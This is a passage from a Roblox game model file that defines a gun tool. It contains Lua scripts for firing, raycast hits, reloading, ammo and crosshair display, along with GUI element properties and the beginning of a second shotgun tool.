&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Animation" referent="RBX3940">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX3941">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX3942">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX3943">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX3944">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3945">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3946">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3947">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX3948">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX3949">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX3950">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX3951">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX3952">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX3953">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX3954">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX3955">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX3956">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.200000003</X>
					<Y>-0.200000003</Y>
					<Z>-0.300000012</Z>
					<R00>0.970145345</R00>
					<R01>-2.23517418e-008</R01>
					<R02>0.242524207</R02>
					<R10>0.242512077</R10>
					<R11>0.00999963284</R11>
					<R12>-0.970096886</R12>
					<R20>-0.00242512673</R20>
					<R21>0.999949992</R21>
					<R22>0.00970113277</R22>
				</CoordinateFrame>
				<string name="Name">Auto5</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079924</url></Content>
				<string name="ToolTip">Browning Auto 5</string>
			</Properties>
			<Item class="Part" referent="RBX3957">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-19</X>
						<Y>-68.5999985</Y>
						<Z>13.9000006</Z>
						<R00>0</R00>
						<R01>1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>4</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX3958">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
